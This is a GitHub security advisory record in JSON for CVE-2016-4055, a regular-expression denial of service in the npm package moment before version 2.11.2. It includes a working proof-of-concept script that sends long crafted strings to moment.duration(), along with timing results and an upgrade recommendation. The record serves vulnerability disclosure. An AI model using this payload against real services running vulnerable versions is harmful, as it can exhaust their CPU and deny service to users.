{"id":"GHSA-87vv-r9j6-g5qv","summary":"Regular Expression Denial of Service in moment","details":"Versions of `moment` prior to 2.11.2 are affected by a regular expression denial of service vulnerability. The vulnerability is triggered when arbitrary user input is passed into `moment.duration()`.\n\n\n## Proof of concept\n```\nvar moment = require('moment');\n\nvar genstr = function (len, chr) {\n    var result = \"\";\n    for (i=0; i\u003c=len; i++) {\n        result = result + chr;\n    }\n\n    return result;\n}\n\n\nfor (i=20000;i\u003c=10000000;i=i+10000) {\n    console.log(\"COUNT: \" + i);\n    var str = '-' + genstr(i, '1')\n    console.log(\"LENGTH: \" + str.length);\n    var start = process.hrtime();\n    moment.duration(str)\n\n    var end = process.hrtime(start);\n    console.log(end);\n}\n```\n\n### Results\n```\n$ node moment.js\nCOUNT: 20000\nLENGTH: 20002\n[ 0, 618931029 ]\nCOUNT: 30001\nLENGTH: 30003\n[ 1, 401413894 ]\nCOUNT: 40002\nLENGTH: 40004\n[ 2, 437075303 ]\nCOUNT: 50003\nLENGTH: 50005\n[ 3, 824664804 ]\nCOUNT: 60004\nLENGTH: 60006\n[ 5, 651335262 ]\n```\n\n\n## Recommendation\n\nPlease update to version 2.11.2 or later. ","aliases":["CVE-2016-4055"],"modified":"2026-03-11T07:49:02.362123Z","published":"2017-10-24T18:33:35Z","database_specific":{"nvd_published_at":"2017-01-23T21:59:00Z","cwe_ids":["CWE-400"],"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2020-06-16T21:24:44Z"},"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2016-4055"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-87vv-r9j6-g5qv"},{"type":"PACKAGE","url":"https://github.com/moment/moment"},{"type":"WEB","url":"https://lists.apache.org/thread.html/10f0f3aefd51444d1198c65f44ffdf2d78ca3359423dbc1c168c9731@%3Cdev.flink.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/17ff53f7999e74fbe3cc0ceb4e1c3b00b180b7c5afec8e978837bc49@%3Cuser.flink.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/52bafac05ad174000ea465fe275fd3cc7bd5c25535a7631c0bc9bfb2@%3Cuser.flink.apache.org%3E"},{"type":"WEB","url":"https://lists.apache.org/thread.html/54df3aeb4239b64b50b356f0ca6f986e3c4ca5b84c515dce077c7854@%3Cuser.flink.apache.org%3E"},{"type":"WEB","url":"https://www.npmjs.com/advisories/55"},{"type":"WEB","url":"https://www.tenable.com/security/tns-2019-02"},{"type":"WEB","url":"http://www.openwall.com/lists/oss-security/2016/04/20/11"},{"type":"WEB","url":"http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html"},{"type":"WEB","url":"http://www.securityfocus.com/bid/95849"}],"affected":[{"package":{"name":"moment","ecosystem":"npm","purl":"pkg:npm/moment"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"2.11.2"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2017/10/GHSA-87vv-r9j6-g5qv/GHSA-87vv-r9j6-g5qv.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"}]}